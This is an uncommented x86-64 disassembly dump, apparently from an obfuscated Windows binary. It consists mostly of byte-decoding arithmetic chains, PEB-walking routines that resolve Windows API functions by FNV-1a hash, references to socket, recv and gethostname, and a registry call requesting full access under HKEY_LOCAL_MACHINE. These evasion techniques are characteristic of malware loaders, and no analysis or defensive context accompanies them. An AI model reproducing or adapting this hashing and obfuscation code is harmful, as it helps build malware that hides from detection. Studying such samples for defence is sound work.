movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140122bbc
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x140122be6
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140122be9
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140122c0d
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x40
jmp 0x140122c37
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x140122b2e
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x140122afa
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x140122711
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x1401229df
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x560], bl
jmp 0x140122d1b
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140122886
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
jmp 0x14012284e
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
jmp 0x140122813
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401229df
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x140122cbc
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401228fe
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x140122c57
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x140122c37
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x1401225ae
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x140122be9
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140122be6
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x140122bbc
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x1401228ba
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x140122ad3
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14012295d
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x140122aad
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1401229f6
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 9
jb 0x14012266e
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140122bbe
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401228e6
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x140122d0c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140122910
movabs rdx, 0xb8b05b574343cd24
mov ecx, 2
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140122af7
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14012293c
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x140122c57
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140122815
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140122b54
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14012297a
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x140122544
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401229a6
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x140122be6
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401229c3
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x1401225ae
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140122850
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140122d0c
jne 0x140122a1b
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140122d0c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140122a45
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x140122afa
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140122a62
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x140122b2e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140122a8c
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x140122c0d
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140122888
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140122544
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x560]
sub bl, al
sub bl, 0x50
jmp 0x1401225bb
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x560]
add bl, r8b
add bl, dl
jmp 0x140122c8a
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x140122afa
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140122c57
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140122c37
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140122be9
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
jmp 0x140122544
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x560], cl
add r10, r15
sub r9, r15
jmp 0x140122d1b
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rdx, 0xd7a8d07ed6c1b86e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, bl
sub cl, al
sub cl, 2
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x560], cl
add rdi, r10
jmp 0x140122c57
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140122d1b
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, r8b
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x560], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x560], r8b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140122d0c
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x560]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14012220b
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x140122208
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x1401221f8
lea r12, [rbp + 0x145e308]
jmp 0x140122d82
lea r12, [rbp + 0x136aa46]
jmp 0x140122d82
lea r12, [rbp + 0x560]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x140122ef0
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140122dfe
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140122df0
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140122ddf
cmp r8d, esi
jne 0x140122ecd
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140122ecd
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140122ecd
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140122e52
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140122e47
cmp edx, r14d
je 0x140122e68
test r9d, r9d
jne 0x140122e32
jmp 0x140122ecd
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140122ee3
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140122ee3
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140122eaa
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x140122e9c
jmp 0x140122ec0
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x140122eb3
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140122ee0
cmp qword [rdi + 0x30], 0
jne 0x140122dae
xor r10d, r10d
mov qword [0x1404fc178], r10
mov r15d, 1
and qword [rsp + 0x40], 0
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x140123096
xor esi, esi
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x60], ax
mov r12d, 0x811c9dc5
test esi, esi
je 0x140122fa8
mov rdx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r12d
jmp 0x140122f9a
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140122f89
cmp r9d, esi
jne 0x14012307f
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x14012307f
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14012307f
mov ebx, dword [r11 + 0x20]
dec r10d
lea r8, [rbx + r10*4]
mov r9d, dword [r8 + rdi]
add r9, rdi
mov r8d, r12d
jmp 0x140122ffc
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x140122fef
cmp r8d, r14d
je 0x140123012
test r10d, r10d
jne 0x140122fdc
jmp 0x14012307f
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x140123087
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140123087
mov esi, r12d
mov r14d, r12d
jmp 0x140123050
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140123042
jmp 0x140123065
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x140123058
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140122f55
mov qword [0x1404fc118], rdx
mov r13d, 0xeced0b92
jmp 0x14012309c
mov r12d, 0x811c9dc5
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x140123202
xor esi, esi
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14012311f
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x140123111
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140123100
cmp r8d, esi
jne 0x1401231e6
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x1401231e6
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401231e6
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rdi]
add r8, rdi
mov edx, r12d
jmp 0x140123171
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140123166
cmp edx, r14d
je 0x140123187
test r9d, r9d
jne 0x140123153
jmp 0x1401231e6
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x1401231fb
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1401231fb
mov esi, r12d
mov r14d, r12d
jmp 0x1401231c5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401231b7
jmp 0x1401231da
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x1401231cd
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401231f9
cmp qword [rbx + 0x30], 0
jne 0x1401230d2
xor ebx, ebx
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x14012336e
xor esi, esi
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14012328b
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x14012327d
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012326c
cmp r8d, esi
jne 0x140123352
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140123352
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140123352
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, r12d
jmp 0x1401232dd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401232d2
cmp edx, r14d
je 0x1401232f3
test r9d, r9d
jne 0x1401232bf
jmp 0x140123352
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140123367
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140123367
mov esi, r12d
mov r14d, r12d
jmp 0x140123331
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140123323
jmp 0x140123346
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140123339
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140123365
cmp qword [rdi + 0x30], 0
jne 0x14012323e
xor edx, edx
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x1401234d1
xor esi, esi
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x1401233ee
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x1401233e0
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401233cf
cmp r8d, esi
jne 0x1401234b5
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401234b5
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401234b5
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, r12d
jmp 0x140123440
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140123435
cmp edx, r14d
je 0x140123456
test r9d, r9d
jne 0x140123422
jmp 0x1401234b5
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401234ca
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401234ca
mov esi, r12d
mov r14d, r12d
jmp 0x140123494
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140123486
jmp 0x1401234a9
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14012349c
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401234c8
cmp qword [rdi + 0x30], 0
jne 0x1401233a1
xor edx, edx
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x140123634
xor esi, esi
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140123551
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x140123543
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140123532
cmp r8d, esi
jne 0x140123618
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140123618
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140123618
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, r12d
jmp 0x1401235a3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140123598
cmp edx, r14d
je 0x1401235b9
test r9d, r9d
jne 0x140123585
jmp 0x140123618
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x14012362d
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14012362d
mov esi, r12d
mov r14d, r12d
jmp 0x1401235f7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401235e9
jmp 0x14012360c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1401235ff
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14012362b
cmp qword [rdi + 0x30], 0
jne 0x140123504
xor edx, edx
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], 0
jne 0x140123798
xor esi, esi
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x1401236b2
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
jmp 0x1401236a4
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140123693
cmp r8d, esi
jne 0x14012377b
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14012377b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14012377b
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, r12d
jmp 0x140123704
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401236f9
cmp edx, r14d
je 0x14012371a
test r9d, r9d
jne 0x1401236e6
jmp 0x14012377b
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x140123791
lea rcx, [r10 + rax]
cmp r9, rcx
jae 0x140123791
mov esi, r12d
mov r14d, r12d
jmp 0x140123758
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14012374a
jmp 0x14012376e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x140123761
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14012378e
cmp qword [rdi + 0x30], 0
jne 0x140123665
xor r9d, r9d
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14012380b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, r12d
cmp rcx, rdx
je 0x1401237f2
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401237d3
cmp r8d, 0x610c0de3
je 0x140123857
mov r9, qword [r9]
cmp r9, r10
je 0x140123801
cmp qword [r9 + 0x30], 0
jne 0x1401237bb
xor r8d, r8d
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor r9d, r9d
mov r10d, dword [r11 + r8 + 0x20]
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, r12d
mov al, byte [rdx]
inc rdx
test al, al
je 0x140123852
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x140123836
